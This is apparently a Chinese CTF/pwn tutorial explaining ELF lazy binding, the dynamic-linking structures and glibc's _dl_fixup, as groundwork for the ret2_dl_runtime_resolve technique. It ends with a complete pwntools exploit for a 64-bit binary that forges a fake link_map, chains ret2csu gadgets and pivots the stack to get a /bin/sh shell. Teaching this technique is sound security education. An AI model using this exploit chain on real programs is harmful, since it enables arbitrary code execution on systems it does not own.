详细解析ret2_dl_runtime_resolve

先放几个学习的链接
推荐第一个
Return-to-dl-resolve
CTF-wiki
高级ROP ret2dl_runtime 之通杀详解
聊聊动态链接和dl_runtime_resolve
dl-resolve浅析添加链接描述
64位相关
ret2dl-runtime-resolve详细分析(32位&64位)
64位ret2_dl_runtime_resolve模版题以及踩坑记录
dl_runtime_resolve结合源码分析及常见的几种攻击手法
ret2dl x64 & x32的差异
ELF的学习参考
程序员的自我修养

延迟绑定

这里直接贴程序员的自我修养书上的内容,延迟绑定看这就够了。
详细解析ret2_dl_runtime_resolve_第1张图片

延迟绑定实现

详细解析ret2_dl_runtime_resolve_第2张图片
详细解析ret2_dl_runtime_resolve_第3张图片
详细解析ret2_dl_runtime_resolve_第4张图片
详细解析ret2_dl_runtime_resolve_第5张图片
详细解析ret2_dl_runtime_resolve_第6张图片
详细解析ret2_dl_runtime_resolve_第7张图片

动态链接相关结构

.dynamic段

ELF里专门用于动态链接的段还有几个,首先是.dynamic段。这个段里保存了动态链接器所需的基本信息,比如依赖于哪些共享对象,动态链接符号表的位置,动态链接重定位表的位置,共享对象初始化代码的地址。.dynamic段的结构

typedef struct {
  Elf32_Sword d_tag;		
  union {
    Elf32_Word d_val;   
    Elf32_Addr d_ptr;
  } d_un;
} Elf32_Dyn;

Elf32_Dyn结构由一个类型值(d_tag)加上一个附加的数值(d_val)或者指针组成(d_ptr),对于不同的类型,后面附加的数值或者指针有不同的含义,可供取值的部分范围如下
详细解析ret2_dl_runtime_resolve_第8张图片
这个段给动态链接器提供动态链接的各种信息入口,用readelf -d bin可以看到详细的关于此模块的详细动态链接信息。
详细解析ret2_dl_runtime_resolve_第9张图片

重定位表(.rel.plt.rel.dyn)

使用readelf -r bin可以查看elf文件的重定位section.
详细解析ret2_dl_runtime_resolve_第10张图片
.rel.dyn 包含了需要重定位的变量的信息, 叫做变量重定位表
.rel.plt 包含了需要重定位的函数的信息, 叫做函数重定位表
32位和64位使用的重定位表有一点区别,都是结构体数组但是一般32位使用Rel,64位使用Rela。结构体长成下面这个样子。

#define ELF32_R_SYM(i)    ((i)>>8)  // 获得高24位,表示在符号表中的偏移 R_SYMBOL
#define ELF32_R_TYPE(i)   ((unsigned char)(i)) //获得低8位,表示重定位类型
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t)) //通过R_SYM和Type重组info

typedef struct
{
Elf32_Addr	r_offset;		/* Address,指向对应got表的指针*/
Elf32_Word	r_info;			/* Relocation type and symbol index */
} Elf32_Rel;

typedef struct elf32_rela{
  Elf32_Addr    r_offset;
  Elf32_Word    r_info;
  Elf32_Sword   r_addend;
} Elf32_Rela

typedef struct
{
Elf64_Addr	r_offset;		/* Address */
Elf64_Xword	r_info;			/* Relocation type and symbol index */
Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;

我们拿32位的举例子,重定位表项结构体是Elf32_Rel类型,包含r_offset和r_info两个信息,都是4个byte。r_offset:指向对应got表的指针。r_info的高24位表示这个动态符号在动态链接符号表.dynsym中的位置。而r_info的低8位,表示这个待重定位对象的重定向类型。动态链接的重定向类型写在下面了。

/* i386 relocs.  */
#define R_386_NONE           0                /* No reloc */
#define R_386_32           1                /* Direct 32 bit  */
#define R_386_PC32           2                /* PC relative 32 bit */
#define R_386_GOT32           3                /* 32 bit GOT entry */
#define R_386_PLT32           4                /* 32 bit PLT address */
#define R_386_COPY           5                /* Copy symbol at runtime */
#define R_386_GLOB_DAT           6                /* Create GOT entry */
#define R_386_JMP_SLOT           7                /* Create PLT entry */
#define R_386_RELATIVE           8                /* Adjust by program base */

/* AMD x86-64 relocations.  */
#define R_X86_64_NONE                0        /* No reloc */
#define R_X86_64_64                1        /* Direct 64 bit  */
#define R_X86_64_PC32                2        /* PC relative 32 bit signed */
#define R_X86_64_GOT32                3        /* 32 bit GOT entry */
#define R_X86_64_PLT32                4        /* 32 bit PLT address */
#define R_X86_64_COPY                5        /* Copy symbol at runtime */
#define R_X86_64_GLOB_DAT        6        /* Create GOT entry */
#define R_X86_64_JUMP_SLOT        7        /* Create PLT entry */
#define R_X86_64_RELATIVE        8        /* Adjust by program base */
#define R_X86_64_GOTPCREL        9        /* 32 bit signed PC relative offset to GOT */

前面提到过全局偏移表(GOT表)在 ELF 文件中分为两个部分.got和.got.plt

  • .got,存储全局变量的引用。
  • .got.plt,存储函数的引用
    在 Linux 的实现中,.got.plt 的前三项的具体的含义如下
  • GOT[0],.dynamic 的地址。
  • GOT[1],指向内部类型为 link_map 的指针,只会在动态装载器中使用,包含了进行符号解析需要的当前 ELF 对象的信息。每个 link_map 都是一条双向链表的一个节点,而这个链表保存了所有加载的 ELF 对象的信息。
  • GOT[2],指向动态装载器中 _dl_runtime_resolve 函数
    之后的got表项存的是函数的真实地址(解析过后),解析前存的是对应plt表项的第二条指令地址。整个解析过程就是在各自的plt传递reloc_arg, 在plt0传递link_map_obj.接着调用_dl_runtime_resolve.要注意的是,32位的reloc_arg和64位的有区别:32位使用reloc_offset, 64位使用reloc_index
#ifndef reloc_offset
 #define reloc_offset reloc_arg
 #define reloc_index  reloc_arg / sizeof (PLTREL)
#endif

动态链接符号表(.dynsym)

是一个结构体数组,结构体为Elf32_Sym:

typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;

#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF32_R_TYPE(val)		((val) & 0xff)
#define ELF32_R_INFO(sym, type)		(((sym) << 8) + ((type) & 0xff))

#define ELF64_R_SYM(i)			((i) >> 32)
#define ELF64_R_TYPE(i)			((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type)		((((Elf64_Xword) (sym)) << 32) + (type))

我们主要关注动态符号中的两个成员(注意32位和64位中这两个值在结构体里的位置不一样!)

st_name, 该成员保存着动态符号在 .dynstr表(动态字符串表)中的偏移。
st_value,如果这个符号被导出,这个符号保存着对应的虚拟地址。

包含动态链接字符串表(.dynstr)

开始为0,然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)
详细解析ret2_dl_runtime_resolve_第11张图片

利用原理

动态链接下第一次调用glibc的函数需要通过plt表中的一段代码解析函数的真实地址,这也是linux的延迟绑定的特点。具体的解析方式就是调用_dl_runtime_resolve(link_map_obj, reloc_arg) ,如果我们可以控制整个解析过程中的参数,那么就能解析我们想要的函数地址。以调用printf函数为例,回顾一下整个流程:

  1. call printf@plt
  2. jmp *(printf@got) -> (第一次会jmp回来,之后就直接jmp到解析出来的地址了) -> push n -> jmp &plt[0] (跳到公共表项)
  3. push got[1] (link_map 可以理解为模块ID) -> jmp *got[2] (跳转到dl_runtime_resolve函数)
  4. 以上步骤相当于调用了dl_runtime_resolve(link_map_obj, reloc_arg)
    解析完毕后会把解析出来的地址写回reloc_arg定位到的.rel.plt表项中r_offset指向的位置(其实就是.got.plt的对应项)
  5. 弄懂dl_runtime_resolve的解析过程后,就可以通过伪造reloc_arg来解析出我们想要的libc函数地址并且写回可控区域了

第一次调用printf函数时
详细解析ret2_dl_runtime_resolve_第12张图片
再次调用printf时,就会直接跳转到该函数代码处执行
详细解析ret2_dl_runtime_resolve_第13张图片
dl_runtime_resolve

  1. 通过link_map_obj访问.dynamic section,分别取出.dynstr, .dynsym,.rel.plt的地址
  2. .rel.plt+ reloc_index 求出当前函数重定位表项 Elf32_Rel的指针,记为rel
  3. rel->r_info的高24位作为.dynsym的下标,求出Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得到符号名字符串
  5. 在动态链接库查找这个函数的地址,并且把找到的地址赋值给rel->r_offset,即.got.plt
  6. 最后调用这个函数
    _dl_runtime_resolveglibc-2.23/sysdeps/i386/dl-trampoline.S中使用汇编实现,主要是通过调用_dl_fixup来完成后续操作的
gdb-peda$ x/xw 0x804a008
0x804a008:  0xf7fee000
gdb-peda$ x/10i 0xf7fee000
   0xf7fee000:  push   eax
   0xf7fee001:  push   ecx
   0xf7fee002:  push   edx
   0xf7fee003:  mov    edx,DWORD PTR [esp+0x10]
   0xf7fee007:  mov    eax,DWORD PTR [esp+0xc]
   0xf7fee00b:  call   0xf7fe77e0
   0xf7fee010:  pop    edx
   0xf7fee011:  mov    ecx,DWORD PTR [esp]
   0xf7fee014:  mov    DWORD PTR [esp],eax
   0xf7fee017:  mov    eax,DWORD PTR [esp+0x4]

可以看到0xf7fee00bcall 0xf7fe77e0,即调用_dl_fixup,并且通过寄存器传参
_dl_fixupglibc-2.23/elf/dl-runtime.c中实现
_dl_fixup的源码在这里:

/* On-demand PLT fixup for shared objects.
   Copyright (C) 1995-2019 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.
   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.
   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   .  */
#define IN_DL_RUNTIME 1                /* This can be tested in dl-machine.h.  */
#include 
#include 
#include 
#include 
#include 
#include 
#include "dynamic-link.h"
#include 
#include 
#if (!ELF_MACHINE_NO_RELA && !defined ELF_MACHINE_PLT_REL) \
    || ELF_MACHINE_NO_REL
# define PLTREL  ElfW(Rela)
#else
# define PLTREL  ElfW(Rel)
#endif
/* The fixup functions might have need special attributes.  If none
   are provided define the macro as empty.  */
#ifndef ARCH_FIXUP_ATTRIBUTE
# define ARCH_FIXUP_ATTRIBUTE
#endif
#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index  reloc_arg / sizeof (PLTREL)
#endif
/* This function is called through a special trampoline from the PLT the
   first time each PLT entry is called.  We must perform the relocation
   specified in the PLT of the given shared object, and return the resolved
   function address to the trampoline, which will restart the original call
   to that address.  Future calls will bounce directly from the PLT to the
   function.  */
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
           ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
           struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }
      /* We need to keep the scope around so do some locking.  This is
         not necessary for objects which cannot be unloaded or when
         we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
        {
          THREAD_GSCOPE_SET_FLAG ();
          flags |= DL_LOOKUP_GSCOPE_LOCK;
        }
#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
        THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif
      /* Currently result contains the base load address (or link map)
         of the object that defines sym.  Now add in the symbol
         offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
                                   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
         address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

1. 首先通过link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址
2. .rel.plt + reloc_arg(第二个参数(导入函数在.rel.plt中的偏移))求出对应函数重定位表项Elf32_Rel的指针
3. 利用此指针得到对应函数的r_info,r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
4. 利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
5. 在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针
6. 赋值给GOT表后,把控制权返还给write

64位程序 full-relo情况

dl_runtime_resolve结合源码分析及常见的几种攻击手法
参考这个文章,在ubuntu16.04的电脑上跑文章里的x64位的程序和脚本,总是出错,发现是执行完
xsave [rsp+0x40] ,之后,got表里的内容被清空了,,,,,导致不能绕过dl_fixup函数里的检查
详细解析ret2_dl_runtime_resolve_第14张图片

查看Intel指令集的文档,可以知道save根据edx和eax相与之后的结果,来作为bit map,来保存指定寄存器的内容到内存中
将exp中的 write_addr 改为0x6004d0,或者再低一点的地址即可。

详细解析ret2_dl_runtime_resolve_第15张图片

#coding=utf-8
from pwn import *
context.log_level = 'debug'
elf= ELF('./level3_x64')

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./level3_x64')

'''
typedef struct            
{
    Elf64_Word    st_name;        /* Symbol name (string tbl index) */
      unsigned char    st_info;    /* Symbol type and binding */        
      unsigned char st_other;        /* Symbol visibility */              
      Elf64_Section    st_shndx;    /* Section index */                  
      Elf64_Addr    st_value;        /* Symbol value */                   
      Elf64_Xword    st_size;        /* Symbol size */                    
}Elf64_Sym;
 
typedef struct           
{
  Elf64_Addr    r_offset;        /* Address */                         
  Elf64_Xword    r_info;            /* Relocation type and symbol index */
  Elf64_Sxword    r_addend;        /* Addend */                          
}Elf64_Rela;
 
typedef struct          
{
  Elf64_Sxword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;        /* Integer value */
      Elf64_Addr d_ptr;            /* Address value */
    } d_un;
}Elf64_Dyn;

struct link_map
  {
    ElfW(Addr) l_addr;                /* Base address shared object is loaded at.  */
    char *l_name;                     /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;                  /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
    //省略,后面还有很多
  };

'''
#ret_csu gadgerts
universal_gadget1 = 0x4006AA
universal_gadget2 = 0x400690
 
Elf64_Sym_len = 0x18
Elf64_Rela_len = 0x18 
write_addr = 0x6004d0
link_map_addr = write_addr+0x18
rbp = write_addr-8
pop_rdi_ret = 0x4006b3
leave = 0x400618
main = 0x4005E6
 
#fake_Elf64_Dyn_STR_addr = l+0x68  
#fake_Elf64_Dyn_SYM_addr = l+0x70  
#fake_Elf64_Dyn_JMPREL_addr = l+0xf8
 
l_addr = libc.sym['system'] - libc.sym['__libc_start_main']
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
gdb.attach(p,'b _dl_runtime_resolve_xsave')
#gdb.attach(p,'b read')
def fake_link_map_gen(link_map_addr,l_addr,st_value):
    fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
    fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
    fake_Elf64_Dyn_STR_addr = link_map_addr
    fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
    fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
    fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0)
 
    fake_link_map = p64(l_addr)            #0x8
    fake_link_map += fake_Elf64_Dyn_SYM    #0x10
    fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
    fake_link_map += fake_Elf64_rela       #0x18
    fake_link_map += '\x00'*0x28
    fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
    fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
    fake_link_map += '/bin/sh\x00'.ljust(0x80,'\x00')
    fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
    return fake_link_map
fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['__libc_start_main'])
 
payload = 'a'*0x80
payload += p64(rbp)
payload += p64(universal_gadget1)
payload += p64(0)  #pop rbx
payload += p64(1)  #pop rbp
payload += p64(elf.got['read'])  #pop r12
payload += p64(len(fake_link_map)+0x18) #pop r13 --rdx
payload += p64(write_addr)  #pop r14  --rsi
payload += p64(0)           #pop r15  --rdi
payload += p64(universal_gadget2)  #ret
payload += p64(0)*7
payload += p64(main)
 
p.sendafter('Input:\n',payload)
sleep(1)
 
fake_info = p64(0x4004A6)        #jmp
fake_info += p64(link_map_addr)
fake_info += p64(0)
fake_info += fake_link_map
p.send(fake_info)

payload = 'a'*0x80+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave)
#stack pivot,进入函数重定向
p.sendafter('Input:\n',payload)
 
p.interactive()

你可能感兴趣的:(pwn)